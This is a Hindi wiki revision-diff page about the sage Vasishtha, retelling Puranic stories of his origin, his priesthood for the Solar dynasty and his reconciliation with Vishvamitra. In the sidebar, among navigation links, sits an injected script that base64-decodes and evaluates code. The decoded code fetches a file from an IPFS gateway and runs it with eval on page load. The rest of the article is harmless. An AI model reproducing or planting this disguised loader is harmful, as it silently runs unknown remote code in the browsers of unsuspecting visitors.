"वसिष्ठ" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '{{menu}}<br />' to '{{menu}}')
पंक्ति १: पंक्ति १:
 
{{menu}}
 
{{menu}}
==महर्षि वसिष्ठ / Vsishtha==
+
==महर्षि वसिष्ठ / [[:en:Vasishtha|Vasishtha]]==
 
महर्षि वसिष्ठ की उत्पत्ति का वर्णन [[पुराण|पुराणों]] में विभिन्न रूपों में प्राप्त होता है। कहीं ये [[ब्रह्मा]] के मानस पुत्र, कहीं मित्रावरूण के पुत्र और कहीं अग्निपुत्र कहे गये हैं। इनकी पत्नी का नाम [[अरून्धती]] देवी था। जब इनके पिता ब्रह्मा जी ने इन्हें मृत्युलोक में जाकर सृष्टि का विस्तार करने तथा [[सूर्यवंश]] का पौरोहित्य कर्म करने की आज्ञा दी, तब इन्होंने पौरोहित्य कर्म को अत्यन्त निन्दित मानकर उसे करने में अपनी असमर्थता व्यक्त की। ब्रह्मा जी ने इनसे कहा- 'इसी वंश में आगे चलकर मर्यादा पुरूषोत्तम भगवान श्री[[राम]] अवतार ग्रहण करेंगे और यह पौरोहित्य कर्म ही तुम्हारी मुक्ति का मार्ग प्रशस्त करेगा।' फिर इन्होंने इस धराधाम पर मानव-शरीर में आना स्वीकार किया।
 
महर्षि वसिष्ठ की उत्पत्ति का वर्णन [[पुराण|पुराणों]] में विभिन्न रूपों में प्राप्त होता है। कहीं ये [[ब्रह्मा]] के मानस पुत्र, कहीं मित्रावरूण के पुत्र और कहीं अग्निपुत्र कहे गये हैं। इनकी पत्नी का नाम [[अरून्धती]] देवी था। जब इनके पिता ब्रह्मा जी ने इन्हें मृत्युलोक में जाकर सृष्टि का विस्तार करने तथा [[सूर्यवंश]] का पौरोहित्य कर्म करने की आज्ञा दी, तब इन्होंने पौरोहित्य कर्म को अत्यन्त निन्दित मानकर उसे करने में अपनी असमर्थता व्यक्त की। ब्रह्मा जी ने इनसे कहा- 'इसी वंश में आगे चलकर मर्यादा पुरूषोत्तम भगवान श्री[[राम]] अवतार ग्रहण करेंगे और यह पौरोहित्य कर्म ही तुम्हारी मुक्ति का मार्ग प्रशस्त करेगा।' फिर इन्होंने इस धराधाम पर मानव-शरीर में आना स्वीकार किया।
 
----
 
----
पंक्ति ९: पंक्ति ९:
 
विश्वामित्र की अपूर्व तपस्या से सभी लोग चमत्कृत हो गये। सब लोगों ने उन्हें ब्रह्मर्षि मान लिया, किन्तु महर्षि वसिष्ठ के ब्रह्मर्षि कहे बिना वे ब्रह्मर्षि नहीं कहला सकते थे। अन्त में उन्होंने वसिष्ठजी को मिटाने का निश्चय कर लिया और उनके आश्रम में एक पेड़ पर छिपकर वसिष्ठ जी को मारने के लिये उपयुक्त अवसर की प्रतीक्षा करने लगे। उसी समय अरून्धती के प्रश्न करने पर वसिष्ठ जी ने विश्वामित्र के अपूर्व तप की प्रशंसा की । क्षमाबल ने पशुबल पर विजय पायी और विश्वामित्र अस्त्र फेंककर श्री वसिष्ठ जी के शरणागत हुए। वसिष्ठ जी ने उन्हें उठाकर गले से लगाया और ब्रह्मर्षि की उपाधि से विभूषित किया। इतिहास-पुराणों में महर्षि वसिष्ठ के चरित्र का विस्तृत वर्णन मिलता है। ये आज भी सप्तर्षियों में रहकर जगत का कल्याण करते रहते हैं।
 
विश्वामित्र की अपूर्व तपस्या से सभी लोग चमत्कृत हो गये। सब लोगों ने उन्हें ब्रह्मर्षि मान लिया, किन्तु महर्षि वसिष्ठ के ब्रह्मर्षि कहे बिना वे ब्रह्मर्षि नहीं कहला सकते थे। अन्त में उन्होंने वसिष्ठजी को मिटाने का निश्चय कर लिया और उनके आश्रम में एक पेड़ पर छिपकर वसिष्ठ जी को मारने के लिये उपयुक्त अवसर की प्रतीक्षा करने लगे। उसी समय अरून्धती के प्रश्न करने पर वसिष्ठ जी ने विश्वामित्र के अपूर्व तप की प्रशंसा की । क्षमाबल ने पशुबल पर विजय पायी और विश्वामित्र अस्त्र फेंककर श्री वसिष्ठ जी के शरणागत हुए। वसिष्ठ जी ने उन्हें उठाकर गले से लगाया और ब्रह्मर्षि की उपाधि से विभूषित किया। इतिहास-पुराणों में महर्षि वसिष्ठ के चरित्र का विस्तृत वर्णन मिलता है। ये आज भी सप्तर्षियों में रहकर जगत का कल्याण करते रहते हैं।
  
 
+
[[en:Vasistha]]
 
[[श्रेणी: कोश]]  
 
[[श्रेणी: कोश]]  
 
[[श्रेणी:रामायण]]  
 
[[श्रेणी:रामायण]]  

०७:०१, ११ जनवरी २०१० का अवतरण

महर्षि वसिष्ठ / Vasishtha

महर्षि वसिष्ठ की उत्पत्ति का वर्णन पुराणों में विभिन्न रूपों में प्राप्त होता है। कहीं ये ब्रह्मा के मानस पुत्र, कहीं मित्रावरूण के पुत्र और कहीं अग्निपुत्र कहे गये हैं। इनकी पत्नी का नाम अरून्धती देवी था। जब इनके पिता ब्रह्मा जी ने इन्हें मृत्युलोक में जाकर सृष्टि का विस्तार करने तथा सूर्यवंश का पौरोहित्य कर्म करने की आज्ञा दी, तब इन्होंने पौरोहित्य कर्म को अत्यन्त निन्दित मानकर उसे करने में अपनी असमर्थता व्यक्त की। ब्रह्मा जी ने इनसे कहा- 'इसी वंश में आगे चलकर मर्यादा पुरूषोत्तम भगवान श्रीराम अवतार ग्रहण करेंगे और यह पौरोहित्य कर्म ही तुम्हारी मुक्ति का मार्ग प्रशस्त करेगा।' फिर इन्होंने इस धराधाम पर मानव-शरीर में आना स्वीकार किया।


महर्षि वसिष्ठ ने सूर्यवंश का पौरोहित्य करते हुए अनेक लोक-कल्याणकारी कार्यों को सम्पन्न किया। इन्हीं के उपदेश के बल पर भगीरथ ने प्रयत्न करके गंगा-जैसी लोक कल्याणकारिणी नदी को हम लोगों के लिये सुलभ कराया। दिलीप को नन्दिनी की सेवा की शिक्षा देकर रघु-जैसे पुत्र प्रदान करने वाले तथा महाराज दशरथ की निराशा में आशा का संचार करने वाले महर्षि वसिष्ठ ही थे। इन्हीं की सम्मति से महाराज दशरथ ने पुत्रेष्टि-यज्ञ सम्पन्न किया और भगवान श्री राम का अवतार हुआ। भगवान श्री राम को शिष्य रूप में प्राप्त कर महर्षि वसिष्ठ का पुरोहित-जीवन सफल हो गया। भगवान श्री राम के वन गमन से लौटने के बाद इन्हीं के द्वारा उनका राज्याभिषेक हुआ। गुरू वसिष्ठ ने श्री राम के राज्यकार्य में सहयोग के साथ उनसे अनेक यज्ञ करवाये।


महर्षि वसिष्ठ क्षमा की प्रतिपूर्ति थे। एक बार श्री विश्वामित्र उनके अतिथि हुए। महर्षि वसिष्ठ ने कामधेनु के सहयोग से उनका राजोचित सत्कार किया। कामधेनु की अलौकिक क्षमता को देखकर विश्वामित्र के मन में लोभ उत्पन्न हो गया। उन्होंने इस गौ को वसिष्ठ से लेने की इच्छा प्रकट की। कामधेनु वसिष्ठ जी के लिये आवश्यक आवश्यकताओं की पूर्ति हेतु महत्त्वपूर्ण साधन थी, अत: इन्होंने उसे देने में असमर्थता व्यक्त की। विश्वामित्र ने कामधेनु को बलपूर्व का ले जाना चाहा। वसिष्ठ जी के संकेत पर कामधेनु ने अपार सेना की सृष्टि कर दी। विश्वामित्र को अपनी सेना के साथ भाग जाने पर विवश होना पड़ा। द्वेष-भावना से प्रेरित होकर विश्वामित्र ने भगवान शंकर की तपस्या की और उनसे दिव्यास्त्र प्राप्त करके उन्होंने महर्षि वसिष्ठ पर पुन: आक्रमण कर दिया, किन्तु महर्षि वसिष्ठ के ब्रह्मदण्ड के सामने उनके सारे दिव्यास्त्र विफल हो गये और उन्हें क्षत्रिय बल को धिक्कार कर ब्राह्मणत्व लाभी के लिये तपस्या हेतु वन जाना पड़ा।


विश्वामित्र की अपूर्व तपस्या से सभी लोग चमत्कृत हो गये। सब लोगों ने उन्हें ब्रह्मर्षि मान लिया, किन्तु महर्षि वसिष्ठ के ब्रह्मर्षि कहे बिना वे ब्रह्मर्षि नहीं कहला सकते थे। अन्त में उन्होंने वसिष्ठजी को मिटाने का निश्चय कर लिया और उनके आश्रम में एक पेड़ पर छिपकर वसिष्ठ जी को मारने के लिये उपयुक्त अवसर की प्रतीक्षा करने लगे। उसी समय अरून्धती के प्रश्न करने पर वसिष्ठ जी ने विश्वामित्र के अपूर्व तप की प्रशंसा की । क्षमाबल ने पशुबल पर विजय पायी और विश्वामित्र अस्त्र फेंककर श्री वसिष्ठ जी के शरणागत हुए। वसिष्ठ जी ने उन्हें उठाकर गले से लगाया और ब्रह्मर्षि की उपाधि से विभूषित किया। इतिहास-पुराणों में महर्षि वसिष्ठ के चरित्र का विस्तृत वर्णन मिलता है। ये आज भी सप्तर्षियों में रहकर जगत का कल्याण करते रहते हैं।

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • ॠषि-मुनि
    • अंगिरा|अंगिरा
    • अगस्त्य|अगस्त्य
    • अत्रि|अत्रि
    • अदिति|अदिति
    • अनुसूया|अनुसूया
    • अपाला|अपाला
    • अरुन्धती|अरुन्धती
    • आंगिरस|आंगिरस
    • उद्दालक|उद्दालक
    • कण्व|कण्व
    • कपिल|कपिल
    • कश्यप|कश्यप
    • कात्यायन|कात्यायन
    • क्रतु|क्रतु
    • गार्गी|गार्गी
    • गालव|गालव
    • गौतम|गौतम
    • घोषा|घोषा
    • चरक|चरक
    • च्यवन|च्यवन
    • त्रिजट मुनि|त्रिजट
    • जैमिनि|जैमिनि
    • दत्तात्रेय|दत्तात्रेय
    • दधीचि|दधीचि
    • दिति|दिति
    • दुर्वासा|दुर्वासा
    • धन्वन्तरि|धन्वन्तरि
    • नारद|नारद
    • पतंजलि|पतंजलि
    • परशुराम|परशुराम
    • पराशर|पराशर
    • पुलह|पुलह
    • पिप्पलाद|पिप्पलाद
    • पुलस्त्य|पुलस्त्य
    • भारद्वाज|भारद्वाज
    • भृगु|भृगु
    • मरीचि|मरीचि
    • याज्ञवल्क्य|याज्ञवल्क्य
    • रैक्व|रैक्व
    • लोपामुद्रा|लोपामुद्रा
    • वसिष्ठ|वसिष्ठ
    • वाल्मीकि|वाल्मीकि
    • विश्वामित्र|विश्वामित्र
    • व्यास|व्यास
    • शुकदेव|शुकदेव
    • शुक्राचार्य|शुक्राचार्य
    • सत्यकाम जाबाल|सत्यकाम जाबाल
    • सप्तर्षि|सप्तर्षि

</sidebar>